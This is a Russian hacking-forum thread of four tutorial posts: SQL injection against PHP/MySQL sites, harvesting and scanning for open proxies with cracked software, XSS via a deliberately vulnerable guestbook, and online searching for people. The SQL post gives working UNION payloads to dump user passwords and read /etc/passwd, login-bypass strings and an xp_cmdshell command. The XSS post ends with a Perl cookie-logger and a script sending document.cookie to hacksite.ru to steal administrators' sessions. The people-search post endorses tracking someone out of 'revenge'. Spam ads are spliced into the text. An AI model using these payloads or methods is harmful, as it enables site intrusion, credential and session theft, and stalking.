Загрузка...

Как стать хакером? Базовые навыки

Тема в разделе Тематические вопросы создана пользователем GoldenK.38493 27 май 2016. 2697 просмотров

  1. GoldenK.38493
    GoldenK.38493 Автор темы 27 май 2016 Заблокирован(а) 121 4 май 2016
    Этот вопрос возникает у многих ребят во время первых исследований сети, программ и алгортимов. Если ты задумался о том, как стать Хакером, и это серьезно, разреши пожать тебе руку - твой исследовательский подход вызывает уважение!

    Львиная доля современных web-приложений использует для хранения больших объемов информации базы данных. Практически все языки программирования, используемые на стороне сервера, поддерживают работу с базами данных, а обеспечивает интерфейс взаимодействия между языком программирования и хранилищем данных система управления базой данных (СУБД), которая осуществляет управление базой на низком уровне.
    Наибольшее признание у web-разработчиков получили СУБД MySQL,PostgreSQL, Microsoft SQL. Для обращения к СУБД используется специальный структурированный язык запросов под названием SQL(Structured Query Language).
    SQL-injection (SQL-инъекция, вторжение) – это метод получения доступа к данным сервера посредством подмены части определенного SQL-запроса на код злоумышленника.
    Смысл данной атаки заключается в нахождении и использовании ошибки разработчика на стыке двух технологий - web и SQL Заказывайте платья от производителя в интернет-магазине ubki-valentina.ru . При обработке данных, приходящих от пользователя, большинство скриптов на основании этих данных формирует запрос к базе, при отсутствии всевозможных проверок и должной защитной фильтрации, очень легко получить доступ к базе подменой ожидаемых данных на код взломщика.
    Например, рассмотрим распространенную уязвимость (в связке PHP/MySQL) сайтов недобросовестных разработчиков по шагам. У нас есть рабочий URL:
    www.site.ru/index.php?id=123

    Проверим его на наличие фильтрации, подставив в конец кавычку:
    www.site.ru/index.php?id=123’

    Сайт с защитной фильтрацией должен выдать ошибку, но если ошибки нет, это не значит, что сайт уязвим, возможно, просто вывод ошибок в браузер запрещен в настройках сервера. Чтобы полностью удостовериться в наличии уязвимости подставим арифметическое выражение:
    www.site.ru/index.php?id=124-1

    Если теперь в окне браузера будет выведена страница в таком же виде как
    www.site.ru/index.php?id=123

    ,значит, выражение было выполнено и сценарий не отфильтровал его – это говорит о том, что уязвимость присутствует.
    Теперь необходимо определить из какого поля таблицы выводятся данные в браузер. Для этого вводим такой код:
    www.site.ru/index.php?id=123 +union+select+1,2,3,4,5,6,7,8/*

    Если в браузере выведется цифра 5 – значит, выводится значение 5 поля. Воспользуемся этим значением, попробуем выполнить команду и выяснить версиюSQL:
    www.site.ru/index.php?id=123 +union+select+1,2,3,4,version(),6,7,8/*

    В браузере выведется номер версии SQL. Можно узнать имя пользователя базы данных:
    www.site.ru/index.php?id=123 +union+select+1,2,3,4,user(),6,7,8/*

    Выведется имя пользователя базы, например user@localhost. Также легко выясняем имя базы данных такой командой:
    www.site.ru/index.php?id=123 +union+select+1,2,3,4,database(),6,7,8/*

    Получим имя базы, например bd_site.
    Теперь попробуем получить имя пользователя из таблицы, в которой хранятся данные о пользователях.
    Необходимо методом "научного тыка" выяснить имя этой таблицы, предположим users. Пробуем ввести следующий URL:
    www.site.ru/index.php?id=123 +union+select+1,2,3,4,name,6,7,8 +from+users+limit+1,1

    Если имя таблицы введено правильно, то в браузере появится имя первого пользователя из таблицы, к примеру, admin. Теперь можно узнать его пароль:
    www.site.ru/index.php?id=123 +union+select+1,2,3,4,password,6,7,8 +from+users+limit+1,1

    Через такую дырку в защите можно даже читать файлы с сервера:
    www.site.ru/index.php?id=123 +union+select+1,2,3,4, loаd_filе(/еtc/pаsswd),6,7,8/*

    Мы получим содержимое стандартного файла паролей в каталоге /etc, для семейства UNIX-подобных систем.
    Все выше перечисленные действия принципиально не отличаются в СУБД MySQL,PostgreSQL и MS SQL Server. Но в MS SQL Server еще проще получить пароли, если упущена должная фильтрация. Исполняя команды на сервере при помощиехес mаstеr..хp_сmdshеll, можно подключиться к некоторому IP по Telnet'у, вместо пароля или логина вставив:
    '; еxеc mаstеr..xp_cmdshеll 'tеlnеt 192.168.0.12' --

    Для защиты от подобного типа вторжений необходимо использовать фильтры, предоставляемые производителями СУБД. Необходимо так же разрабатывать свои собственные решения для защиты – самодельные фильтры и проверки, активно используя регулярные выражения (в PHP много интересных функций для работы с ними).

    Очень часто для того, чтобы скачать с какого-либо ресурса файл или получить возможность использовать какой-нибудь сервис, от нас требуют регистрацию. Все бы ничего, но вот регистрироваться за деньги это уже слишком, поэтому давайте рассмотрим один из вариантов получения доступа по шагам. Распространенная схема авторизации на PHP в связке с MySQL обычно выглядит примерно так:
    $result=mysql_db_query($DB,"SELECT * FROM $table WHERE name='$login' AND
    password='$pass'");
    $numRows=mysql_num_rows($result);
    mysql_close($link);
    if ($numRows!=NULL)
    {
    // код, выполняемый в случае успешной авторизации
    // ( когда логин и пароль введены верно )
    else
    {
    // код, выполняемый в случае непрохождения авторизации
    // ( введенные логин и пароль не соответствуют )
    }


    При вводе данных в форму авторизации, формируется запрос примерно такого содержания:
    http://www.site.ru?login=ivan&pass=12345

    Затем скрипт, обрабатывающий данные формы авторизации, формирует SQL запрос следующего вида:
    SELECT * FROM users WHERE login='ivan' AND pass='12345'

    После выполнения такого запроса функция mysql_db_query() вернет все записи из таблицы "users" с логином "ivan" и паролем "12345". Из приведенного в начале кода видно, что при наличии в базе пользователя с такими данными, перейдет управление к блоку кода, выполняемому в случае успешной авторизации. Авторизоваться на таком сайте можно и без пароля, при отсутствии в скрипте авторизации экранов и всевозможных фильтров, исключающих выполнение посторонних SQL-инструкций. Попробуем указать в качестве пароля строку:
    12345’ AND id=’21

    В этом случае сформируется запрос следующего вида:
    SELECT * FROM users WHERE login='ivan' AND password='12345' AND id='21'

    Получается, что теперь авторизация будет успешной лишь в том случае, если совпадут не только логин и пароль, но и идентификатор пользователя. Легко догадаться, что теперь при помощи логического оператора OR, мы можем добавить инструкцию, которая всегда будет возвращать true. Для этого введем в поле логина строку:
    ivan’ OR 1=1--‘

    Сформируется запрос следующего вида:
    SELECT * FROM users WHERE login='ivan' OR 1=1--' AND pass='12345'

    Для тех, "кто в танке", поясню, что последовательность "--" говорит о конце запроса, поэтому вся последующая часть SQL-инструкции выполняться не будет. В результате, какой бы логин мы ни ввели, а тем более пароль, будет выполняться блок кода успешной авторизации. Теперь мы авторизованные пользователи ресурса и можем качать все, что нам нужно и пользоваться всеми привилегиями.
    Все это хорошо, но это общий случай. В каждом отдельном случае, мы не можем знать в какой последовательности и как, формируется запрос к базе. Поэтому придется вводить конструкции типа "ivan’ OR 1=1--" в каждое поле формы авторизации. Обязательно проверьте форму авторизации на наличие hidden полей. Если они существуют, необходимо сохранить HTML-страницу и подставить в ее код нужные значения hidden полей, после чего запустить, не забыв при этом указать полный путь к скрипту-обработчику формы авторизации в теге .
    Необходимо не забывать и о том, что у разных программистов разные стили, кто-то использует в запросах ‘, кто-то “, а некоторые вообще обходятся без них, поэтому и SQL-инъекции могут выглядеть так:

    ' OR 1=1--
    " OR 1=1--
    OR 1=1--

    Не исключено и использование в запросах круглых скобок, например:
    SELECT * FROM users WHERE (login='ivan' AND pass='12345')

    В этом случае можно попробовать такой вариант:
    ') OR ('a'='a

    Главное при подборе нужной инструкции опробовать как можно больше вариантов, и тогда удача вам обязательно улыбнется :).

    Пример уязвимого скрипта, демонстрирующего пример с авторизацией, любезно предоставленного Shadie, а также дамп бд:

    1. <?php
    2. ini_set('error_reporting', E_ALL);
    3. ini_set('display_errors', 'on');
    4. mysql_connect('localhost', 'h4ck3r', 'h4ck3r');
    5. mysql_select_db('hack');
    6. if ($_POST) {
    7. $sql = "SELECT * FROM `users` WHERE `login`='".$_POST['login']."'".
    8. " AND `passwd`='".md5($_POST['pass'])."'";
    9. $user_res = mysql_query($sql);
    10. $user = array();
    11. if (!$user_res) {
    12. echo "Fail";
    13. } else {
    14. $user = mysql_fetch_array($user_res);
    15. }
    16. }
    17.
    18. if ($user) {
    19. ?>
    20. Hello, <?=$user['login']?>.
    21. <?php
    22. } else {
    23. if ($_POST) {
    24. ?>
    25. <?=$_POST['login']?> is not valid login.
    26. <?php
    27. }
    28.
    29. ?>
    30. <form method="post">
    31. Login: <input type="text" name="login"/><br/>
    32. Pass: <input type="text" name="pass"/><br/>
    33. <input type="submit" value="enter"/>
    34. </form>
    35. <?php
    36. }
    37. /*
    38. --
    39. -- Table structure for table `users`
    40. --
    41.
    42. CREATE TABLE IF NOT EXISTS `users` (
    43. `id` int(11) NOT NULL AUTO_INCREMENT,
    44. `login` varchar(32) NOT NULL,
    45. `passwd` varchar(32) NOT NULL,
    46. PRIMARY KEY (`id`),
    47. UNIQUE KEY `login` (`login`)
    48. ) ENGINE=MyISAM DEFAULT CHARSET=UTF-8 AUTO_INCREMENT=2;
    49.
    50. --
    51. -- Dumping data for table `users`
    52. --
    53.
    54. INSERT INTO `users` (`id`, `login`, `passwd`) VALUES
    55. (1, 'shadie', '202cb962ac59075b964b07152d234b70'),
    56. (2, 'test', 'test');
    57.
    58. */
    59.
    60. /*
    61. * sample data:
    62. * 1. Вход под известным логином
    63. * login : shadie' OR '1'='1
    64. * либо login: shadie' --
    65. * > Hello, shadie
    66. *
    67. * 2. Вход под первым логином в базе
    68. * login : ' OR 1 LIMIT 1 --
    69. * > Hello, shadie
    70. *
    71. * 3. Перебор логинов в базе (M - число-смещение от начала таблицы)
    72. * login : ' OR 1 LIMIT M,1 --
    73. * > (M == 1) Hello, test
    74. *
    75. * 4. Получение хэша пароля
    76. * login : ' UNION SELECT `id`, `passwd` AS 'login', `passwd` FROM `users` --
    77. * > Hello, 202cb962ac59075b964b07152d234b70.
    78. * (LIMIT используется так же как и в предыдущем случае)
    79. *
    80. */
    81. ?>


    На этой торжественной ноте, пожалуй, будем заканчивать. На самом деле, данную тему можно развернуть на несколько страниц текста, т.к. она очень обширна и уложиться в одну статью попросту невозможно. Поэтому, в качестве дополнения к статье, предлагаю читателям самостоятельно изучить вот эту брошюру от Positive Technologies(спасибо Pr0d-у за линк :)), которая является отличным наглядным пособием по SQL-инъекциям, пожалуй, лучшим из того, что я видел по данной теме.
     
  2. GoldenK.38493
    GoldenK.38493 Автор темы 27 май 2016 Заблокирован(а) 121 4 май 2016
    Просматривая в сети Интернет сайты и форумы схожей с нашим сайтом тематики, очень часто встречаю такие вопросы и просьбы: «подскажите, где мне взять ******?», «а где достать ****** для ****а?» , «кто-нибудь, выложите рабочие ******» и тому подобное. Собственно это, от части, и сподвигло меня написать статью о том, как можно самостоятельно, без чьей-либо помощи, искать эти «пресловутые» ******...
    Самым лучшим вариантом конечно же является покупка ****** у лиц, профессионально занимающихся добычей и продажейсписков ******. Здесь и качество, и гарантии, и высокая скорость у ******. Но стоимость таких услуг наверняка не каждому по-карману, не так ли?
    Просить кого-либо выложить списки ****** тоже не вариант, так как с вами могут поделиться рабочими ******, а могут и послать ... в гугл :). Поэтому, отчаиваться не будем, а будем самостоятельно искать ****** ,никому не мешая своими вопросами и просьбами ;).
    Итак, начнём. Способов добычи ****** существует достаточно много, как и инструментов для их поиска. Это различные******-личеры, ******-грабберы, ******-чекеры, сканеры портов и подобные программы, в добавок к которым идут утилиты для работы со списками ****** для «выдирания» только нужного(ip:port), для поиска и удаления дубликатов и т.п. Брр, сколько всего... O_O
    Заострять внимание на какой-либо программе из всех этих «брр» я не буду. Не буду потому, что на мой взгляд все они являются «узконаправленными», а потому — неактуальными перед более совершенными и функциональными программами, такими как ProxyFire Master Suite Pro. На самом деле, назвать ProxyFire программой как-то язык не поворачивается, поскольку это целый программный комплекс, «комбайн», если хотите, в состав которого входит всё, что нам необходимо дляпоиска рабочих ******. По своим функциональным возможностям ProxyFire Master Suite Pro, по-моему, не имеет аналогов в своём классе, и все остальные программы просто «курят» в сторонке...

    К основным возможностям этого «комбайна» следует отнести:

    1. ******-чекер (проверка списка ****** на валидность)
    2. ******-личер (сбор ****** с форумов/сайтов /etc)
    3. поиск ******, используя поисковые системы (например Гугл)
    4. сканер ip диапазонов на открытые порты
    5. ******-фильтр (удаление дубликатов, удаление ****** из «опасных» диапазонов ip, возможность делать выборку по странам)

    От холивара перейдём к делу :) и рассмотрим эти возможности на практике:

    сама программа является коммерческим продуктом, стоимость порядка 30 баксов, если не ошибаюсь, скачать её(версия 1.22) можно http://hack-academy.ru/hacksoft/softbruteforce/34-wwwhack.html, "пилюлю" к ней можно найти вот http://hack-academy.ru/hacksoft/scanners/46-nmap-3.75.html, там же находится и русификатор. Как вы поступите - дело ваше. Итак, программа у вас есть, лицензия приобретена :), переходим к настройке: Онлайне Европейская рулетка в казино vgrand-casino.ruигра с контролем честности.
    Для работы программы необходимы проверочные URL. Виден список этих проверочных адресов, рабочие из них со статусомОК. Список с проверочными адресами уже есть в программе, но можно создать свои, или найти в Интернете. Для создания собственных, необходимо разместить на хостинге php скрипт azenv.php следующего содержания:

    <!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
    <html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en">
    <head>
    <title>AZ Environment variables 1.04</title>
    </head>
    <body>
    <pre>
    <?php
    foreach ($_SERVER as $header => $value ) {
    if(strpos($header , 'REMOTE')!== false || strpos($header , 'HTTP')!== false || strpos($header , 'REQUEST')!== false) {
    echo $header.' = '.$value."\n";
    }
    }
    ?>
    </pre>
    </body>
    </html>
    и указать путь к этому скрипту в программе(кнопка "Добавить"). Остальные настройки, возможно кроме внешнего вида, нас не интересуют.

    Предположим, у вас есть список ****** и вы хотите проверить его на рабочие(валидные) ******, для этого импортируем список(кнопка "Импорт"), выставляем количество потоков(здесь и далее при выборе количества потоков необходимо исходить из "ширины" вашего канала в инет, чем "шире" канал, тем больше потоков можно выставить соответственно), отмечаем галочками тип ******, которые нам нужны и жмём кнопку "Начать". Результаты проверки мы увидим в соответствующих типам ****** окнах, также их можно посмотреть, нажав кнопку "Папка".

    Личинг


    В том случае, если у вас нет списка ****** для проверки, можно найти ****** методом личинга, т.е. собрать списки ****** с различных форумов, сайтов и прочих ресурсов. Делается это так:
    указываем количество соединений форумов, количество топиков, в которых будет производиться поиск, список адресов форумов уже есть в программе, но можно добавить и свои(кнопка "Изменить").
    Всё, можно начинать процесс сбора ******... Когда программа закончит поиск по форумам, вы увидите просто огромное количество ******, но не обольщайтесь, это всего лишь собранные списки ****** с форумов и не больше, т.е.рабочих из них будет совсем немного по сравнению с общим количеством. Теперь можно приступить к проверке собранных списков ******, жмём на кнопку "Проверить" и начинается процесс проверки.

    Поиск ******, используя поисковые системы

    тот способ поиска ****** заключается в том, что ****** для нас будут искать поисковики)))
    Каким поисковиком будете пользоваться - дело ваше, я выбрал Гугл для примера.
    Проверяем, что у нас прописано в конфигах для поисковиков: Гугл - кнопка "Изменить". Должно быть вот это:

    Для Гугла

    [search]
    name=Google
    engine=http://www.google.com/search?hl=en&lr=&as_epq=%KEYWORD%&start=%PAGE%
    link_start=<li class=g>
    link_end=</a>


    Для Baidu

    [search]
    name=Baidu
    engine=http://www.baidu.com/s?wd="%KEYWORD%"&cl=3&pn=%PAGE%
    link_start=<td class=f>
    link_end=target="_blank"


    Для Yahoo!

    [search]
    name=Yahoo!
    engine=http://search.yahoo.com/search?p="%KEYWORD%"&ei=UTF-8&b=%PAGE%
    link_start=<a class=
    link_end=</a>


    Для MSN

    [search]
    name=MSN
    engine=http://search.msn.com/results.aspx?q="%KEYWORD%"&first=%PAGE%
    link_start=<h3>
    link_end=onmousedown


    Теперь нам необходимо задать ключевые слова для поиска, жмём на кнопку "Ключевые слова" и добавляем туда несколько адресов ****** в формате ip:port. Эти ****** можно найти на любом сайте, где выкладываются списки ******, например _http://www.freeproxylists.com/socks.html или _http://spys.ru/socks. Последние добавленные ******лучше не брать, а взять "постарее". Теперь задаём количество потоков и начинаем процесс поиска("Начать"). В результате проверки мы получим опять же огромный список ******, который нужно будет проверить(кнопка "Проверить"). Огромный список получится потому, что помимо ******, указанных в Ключевых словах, будут взяты все другие адреса ******, имеющиеся на странице.

    Сканирование ip на открытые порты


    Все предыдущие способы поиска ****** заключались в сборе паблик-******, т.е. тех, которые выложены в свободное пользование. Это значит, что кроме вас этими ****** могут пользоваться ещё несколько человек, Вася Пупкин из соседнего подъезда с друзьями, например :). И желаемой скорости от таких ****** вы можете и не получить. Рассмотрим процесс сканирования ip адресов на открытые порты:

    Вкладка "Сканирование IP" - "Создать IP диапазоны", импортируем список ******, выставляем значение, на которое будут расширены диапазоны, если необходима выборка по странам, например только США - жмём соответствующую кнопку и указываем предел стран, затем жмём кнопку "Начать". Программа сгенерирует диапазоны ip и их нужно скопировать(кнопка "Скопировать").

    Во вкладке "Сканер" мы увидим созданные диапазоны ip адресов, ниже порты, которые можно редактировать, например оставить только порт 1080, либо наоборот, добавить какие-либо. Нажав на кнопку "Удалить опасные IP", программа произведёт очистку от "нехороших" ip адресов, которые сканировать скажем так нежелательно для вас же самих... Приоритет сканера - Normal, метод сканирования - TCP, указываем количество потоков и таймаут(значение 6-12 оптимально для поискабыстрых ******).

    Начинаем процесс сканирования(кнопка "Scan"). Чем хорош этот способ поиска? Тем, что используя его, можно найти хорошие быстрые ******, которых нет в паблике.
    Во вкладке "****** Фильтры" вы можете производить операции со списком ******: "выдирание" из листа только адреса и порта ******(ip:port), удаление дубликатов, очистку от "опасных" диапазонов ip адресов и прочие полезные вещи...

    Итак, процесс поиска ****** с использованием программного комплекса ProxyFire описан. При написании статьи я пытался максимально просто изложить материал, чтобы ни у кого не возникало вопросов и всем был понятен процесс, но если всё же вопросы есть, задавайте, постараюсь помочь. Также приветствуются дополнения, пожелания и т.п.)

    Желаю удачи вам в поисках ****** и большого ппс :)
     
    27 май 2016 Изменено
  3. GoldenK.38493
    GoldenK.38493 Автор темы 27 май 2016 Заблокирован(а) 121 4 май 2016
    Что такое XSS?


    XSS, согласно легендам древних Хакеров, переводится как межсайтовый скриптинг (Cross Site Scripting). Внимательный читатель заметит, что абривиатуры XSS и CSS несколько отличаются друг от друга, и вот с чем это связанно.

    Задолго до обнаружения такого метода атаки как XSS (по крайней мере до того, как XSS стали называть именно так), веб-дизайнеры ввели в обиход CSS стандарт (Каскадные Таблицы Стилей), которые помогали им выпендриваться и делать свои сайты не так, как у других, используя те же, собственно, html теги. Потому, при классификации XSS атак, первую букву в слове Cross было решено заменить на X ("Cross" также переводится как "Крест"). Так и пошло.

    Для того, чтобы правильно понять материал, у Вас должны быть хотя бы малейшие знания языка гипертекстовой разметки, ну и вообще примерное понимание общения браузера и веб-сервера. Скажу также, что данный метод атаки в целом не сложен, и вполне сносно излагается в рамках одной статьи. Если что-то будет "непониматься", значит либо у вас мало мозгов, либо у вас мало пива. Если без первого еще можно и обойтись, то без второго даже не знаю... Кому как. =)

    Суть Атаки:


    Сразу расставим точки над "i" - XSS это не атака на сайт или удаленный сервер! Это атака на пользователя этого сайта и не больше. Сайту в целом по барабану - в случае, если Хакер смог провести XSS атаку, скрипт просто будет выдавать, вместе с основным html контентом, задуманным автором сайта, некоторую последовательность кода. Серверу от этого ни тепло, ни холодно. А вот пользователю как раз может быть очень и очень жарко... Не врубился о чем речь? Ну так правильно, мы еще ни словом не задели сам процесс проведения атаки. Читай дальше.

    К XSS - атакам сайт становится уязвим, когда один из его сценариев кушает всю передаваемую строку, без всякой фильтрации на запрещенные символы. Что я имел в виду под фразой "запрещенные символы"? Это знаки разметки, то есть зарезервированные, "рабочие" символы языка html. Рассмотрим знак меньше или больше (""). Как мы знаем, они используются в языке html для разметки и обозначения тегов. И браузер интерпретирует их именно в этом контексте. Если мы попробуем сказать браузеру нечто типа:

    <p> В данном математическом примере очевидно, что b<a, и >c


    В данном математическом примере очевидно, что bc. Ведь очевидно, что сочетание символов "<" и "a" для него объявление гиперссылки. То есть в коде (по мнению браузера) объявляется ссылка, и затем он ищет закрывающий тег, и находит его! Как раз для этих целей в html есть альтернативное обозначение некоторых символов, например:
    & & амперсанд
    < < знак "меньше"
    > > знак "больше"

    Где первой колонкой идет имя, затем код, вид, и описание.

    Представим себе, что у нас есть гостевая книга, в которую может писать любой желающий. Он вводит свое имя, текст сообщения, и жмет кнопку "отправить". Данные из полей отправляются сценарию. Минимальная задача сценария такова: прочитать данные из полей, и добавить в html страницу гостевой книги, например следующие теги:

    <h6> Name </h6>
    <p>Text


    Где заместо Name он подставит данные из поля "Имя", и вместо Text будет идти собственно само сообщение. Что будет, если мы попробуем вставить в текст то предложение, которое мы пробовали скормить браузеру (про a и b)? Он просто добавит к странице гостевой книги текст как он есть и все. А открыв повторно ее браузером мы столкнемся с такой же проблемой.

    Чтобы примерно донести суть XSS уязвимости сайта, я заснял небольшой ролик, где на примере дырявого elefant.ru попытался представить атаку в более понятной форме.

    Скачать ролик

    Кстати, еще забавно, если попробовать в строку поиска *****:

    <input type=button onclick=alert('Hack')>

    :). Где же тут XSS-атака? Нету! Ведь код у нас совсем не вредоносный. Но если в текст сообщения вставить нечто начинающееся со слов <script ... , то кажется начинает пахнуть жареным. Не чувствуешь? Ну да, возможно слишком сложно. Поэтому предлагаю рассмотреть все на практике.

    Готовим полигон:


    Для того, что бы рассмотреть все аспекты атаки, и, заодно, потренироваться, предлагаю сделать две вещи:

    - Во первых создать скрипт дырявой гостевой книги;
    - Запустить сервер на локалхосте;

    Ставим сервер:

    Начнем со второго. Перейдем на сайт _http://www.denwer.ru/ и скачаем от туда последнюю версию Денвера. Денвер - уникальная софтина, позволяющая в кратчайший срок поднять на локалхосте вполне работоспособный сервер. Очень полезен разработчикам, для локального теста скриптов.

    С установкой проблем возникнуть не должно - программа сама инициализирует и установит все необходимые модули.

    Запустив денвер с помощью ярлыка на рабочем столе "Start Denwer" наберем в адресной строке браузера строчку localhost. Если увидим некий ответ от Денвера - значит сервер работает.

    Если в процессе установки вы указали создать виртуальный диск под именем "Z", то файлы/скрипты должны хранится в папке "Z:\home\localhost\www".

    Поместим в данный каталог файл index.html с таким содержанием:

    <html>
    <head><title>My First Web-Page</title></head>
    <body> Это работает! </body>
    </html>


    И набрав в браузере "" мы убедимся, что все работает как по маслу. Теперь перейдем к созданию гостевой книги.

    Поднимаем гостевую книгу:

    Во первых создадим в нашей корневой папочке (Z:\home\localhost\www) файл с именем index.php, и запишем в него следующие строки:

    <?php
    include 'show_message.php';
    include 'form.inc';
    ?>


    Как следует из содержания, нужно создать еще два файла. Это form.inc:

    <form name="gbook" target="_self" method="post" action="gbook_add.php">
    Ваше имя: <br>
    <input type="text" name="username"><br>
    Ваш e-mail:<br>
    <input type="text" name="email"><br>
    Ваше сообщение:<br>
    <textarea name="message" rows="6" cols="37"></textarea><br>
    <input type="submit" name="send" value="Добавить сообщение">
    </form>


    И show_message.php:

    <?php
    $filename = "messages.dat";
    $delitmer = "<|-|>";
    $shablon = '
    <table border="1" width="100%">
    <tr>
    <td width="100%">Имя пользователя: <a href="mailto:%email%">%username%</a></td>
    </tr>
    <tr>
    <td width="100%">%message%</td>
    </tr>
    <tr>
    <td width="100%" align="right">%add_date%</td>
    </tr>
    </table>
    <br>';


    $data = @file($filename);

    foreach($data as $val)
    {
    list($username, $email, $message, $date) = explode($delitmer, trim($val));
    $tmp_message = str_replace("%username%", $username, $shablon);
    $tmp_message = str_replace("%email%", $email, $tmp_message);
    $tmp_message = str_replace("%message%", $message, $tmp_message);
    $tmp_message = str_replace("%add_date%", $date, $tmp_message);
    echo $tmp_message;
    }
    ?>


    Файл form.inc просто выводит html-форму для добавления нового сообщения. А скрипт show_message.php выводит в index.php все сообщения из файлаmessages.dat, который мы должны тоже создать, и оставить пустым. Самый главный скрипт - скрипт добавления сообщения в наш файл, имитирующий базу данных, будет называться gbook_add.php, и иметь такой вид:

    <?php
    $filename = "messages.dat";
    $delitmer = "<|-|>";
    $username_limit = 50;
    $email_limit = 80;
    $message_limit = 500;

    if (isset($_POST))
    {
    if (isset($_POST['username']) & isset($_POST['email']) & isset($_POST['message']))
    {
    if (((strlen($_POST['username'])>0) & (strlen($_POST['username'])<=$username_limit)) &
    ((strlen($_POST['email'])>0) & (strlen($_POST['email'])<=$email_limit)) &
    ((strlen($_POST['message'])>0) & (strlen($_POST['message'])<=$message_limit)))
    {
    $username = str_replace("\r\n", "<br>", htmlspecialchars($_POST['username']));
    $email = str_replace("\r\n", "<br>", htmlspecialchars($_POST['email']));
    $message = str_replace("\r\n", "<br>", htmlspecialchars($_POST['message']));
    $arr = array($username, $email, $message, date("d.m.Y"));
    $new_message = implode($delitmer, $arr) . "\r\n";
    $messages_arr = @file($filename);
    $messages_str = $new_message;
    $messages_str .= trim(implode("", $messages_arr));

    $fp = fopen($filename, "w+");
    fwrite($fp, $messages_str);
    fclose($fp);
    echo "<META HTTP-EQUIV=\"Refresh\" CONTENT=\"2; URL=index.php\">";
    echo "Ваше сообщение добавленно!";
    }
    else
    {
    echo "Ошибка!!!<br>Не все данные введенны, либо в одном из полей формы слишком мало символов.";
    }
    }
    }
    ?>


    Все! Гостевая книга готова... Если запутался - резюмирую:

    В папке Z:\home\localhost\www у нас лежит 5 файлов:

    gbook_add.php - добавляет сообщения, при нажатии кнопки "Добавить";
    messages.dat - пустой файл, в нем будут храниться сообщения;
    show_message.php - скрипт выводящий сообщения из файла messages.dat;
    form.inc - форма для добавления сообщения;
    index.php - индексная страница;

    Код всех файлов я привел выше. Но прилагаю также готовые файлы, на всякий случай. Их нужно просто сохранить в папку Z:\home\localhost\www:

    files.rar [1,45 Kb] (cкачиваний: 52)

    - все пять файлов в одном архиве;

    Проверим работоспособность скрипта, переходим по ссылке http://localhost/index.php и пробуем добавить сообщение. Имя, мыло пишем абсолютно любое, а вот сообщение добавим такого типа:

    Всем <h1>привет</h1>!


    Жмем добавить, обновляем страницу и видим, что ничего собственно не произошло... "Запрещенные" символы у нас отображаются, как ни в чем не бывало, и слово "привет" не отличается от слова "всем". Это произошло из-за того, что в скрипте присутствует примитивная защита от такого рода атаки. Откроем скрипт gbook_add.php и найдем там строки

    $username = str_replace("\r\n", "<br>", htmlspecialchars($_POST['username']));
    $email = str_replace("\r\n", "<br>", htmlspecialchars($_POST['email']));
    $message = str_replace("\r\n", "<br>", htmlspecialchars($_POST['message']));

    Удалим из каждой подстроку "htmlspecialchars", то есть выглядеть они у нас будут так:
    $username = str_replace("\r\n", "<br>", ($_POST['username']));
    $email = str_replace("\r\n", "<br>", ($_POST['email']));
    $message = str_replace("\r\n", "<br>", ($_POST['message']));


    Теперь добавим тоже самое сообщение! Вот. Теперь получилось... мы вовсе не видим тегов
    <h1>
    и
    </h1>
    , зато заметно, что браузер вполне нормально их интерпретировал.

    Заключение. Что осталось за кадром?



    Я не показал тебе, как из XSS уязвимости делать себе выгоду. Все эти теги, в сущности ничем не полезны. А полезных моментов может быть несколько:

    Ссылки: Мы можем поставить _прямую_ ссылку на наш ресурс в гостевой книге, да еще с указанием каким угодно title. Например:
    Академия Хакеров
    . Прямая ссылка может повышать наш PR и тИЦ, и вообще пойдет на пользу. Дырявые гостевые отличное подспорье для различных спам сервисов.

    Переадресации, всплывающие окна, на наш сайт.

    Кража кукисов: Написав небольшой cgi скрипт, к примеру, мы можем воровать куки пользователей, в том числе и администраторов портала. Выглядеть это может так:
    #!/usr/bin/perl -w

    # открываем файл cookies.txt для добавления инфы

    open COOKIES,">>../cookies.txt";

    print "Content-Type: text/html\n\n";

    # добавляем в файл метку, благодаря которой можно

    # увидеть, где начинается похищенный кукис

    print COOKIES "----------- new cookie -----------\n";

    # записываем переменную окружения QUERY_STRING,

    # содержащую параметры, передаваемые скрипту,

    # через которые хакер будет передавать данные кукиса

    print COOKIES "$ENV{'QUERY_STRING'}\n";

    # записываем в файл метку «конец кукиса»

    print COOKIES "---------- end of cookie ---------\n\n";

    # закрываем cookies.txt, записанная инфа сохраняется

    close COOKIES;

    Тогда в тексте письма нужно прописать нечто типа
    <script>value='http://hacksite.ru/cookie.cgi?' + document.cookie;</script>

    Куки будут наши!

    -----

    В общем место для фантазии есть. Я всего лишь хотел указать разработчикам веб-приложений на самые-самые распространенные ошибки при написании скриптов. Остерегайтесь их, и удачи...
     
  4. GoldenK.38493
    GoldenK.38493 Автор темы 27 май 2016 Заблокирован(а) 121 4 май 2016
    Часто бывает так, что нам жизненно необходимо найти человека в сети, зная о нем минимум информации. Такое стремление может оправдываться горячей любовью, жаждой мести, и т.п. Сложность, как правило, заключается в том, что видимой уникальности индивида, которой нам нужен может и не быть.



    Я имею в виду, что под ником Alex может сидеть миллион человек. И найти того самого Alex'а довольно не просто. Хотя возможно.


    И это относится не только к поиску людей. Часто бывает нужно найти определенный документ, или информацию содержащуюся в нем. Это может быть не только контент файла. Например в .doc'овском документе кроме текста еще содержится информация о том, кто владелец файла (username), откуда он пришел, и еще целая цепочка юзеров, которые им владели. Это так, для примера.

    На самом деле Сетевая Разведка (разрешите мне ее так называть), это целое искусство. Она требует от Хакера внимательности, умения анализировать информацию, воссоединять общую картину по крупицам и маленьким частичкам знаний. Не у всех это получается. Нюх на информацию вырабатывается только со временем. Опытные Хакеры это подтвердят.

    Какими инструментами пользуется добытчик информации? Тут ответ многим очевиден. Естественно, всевозможным поиском. Также существуют вспомогательные сервисы для таких случаев. Работают они не одинакого. Рассмотрим подробнее некоторые из них:

    Поиск по картинке:

    http://www.photodate.ru - предположим, что у нас есть фотография человека. И очень, просто очень нужно найти ее владельца, или хотя бы данные, откуда эта фотография могла быть спизж... заимствована. Данный сайт призван помочь в этом.

    Поиск электронных адресов доступен по адресу:

    http://www.infospace.com/home/white-pages/email-search

    Различный поиск:

    http://www.addresses.com/ - довольно неплохо справляется. По крайней мере самого себя, и еще 45 меня я нашел. Нужно только правильно искать.


    Человек, гуляя на просторах интернета, на самом деле оставляет о себе уйму информации. Он общается на форуме, он закачивает программы и музыку, он пишет статьи и т.п.

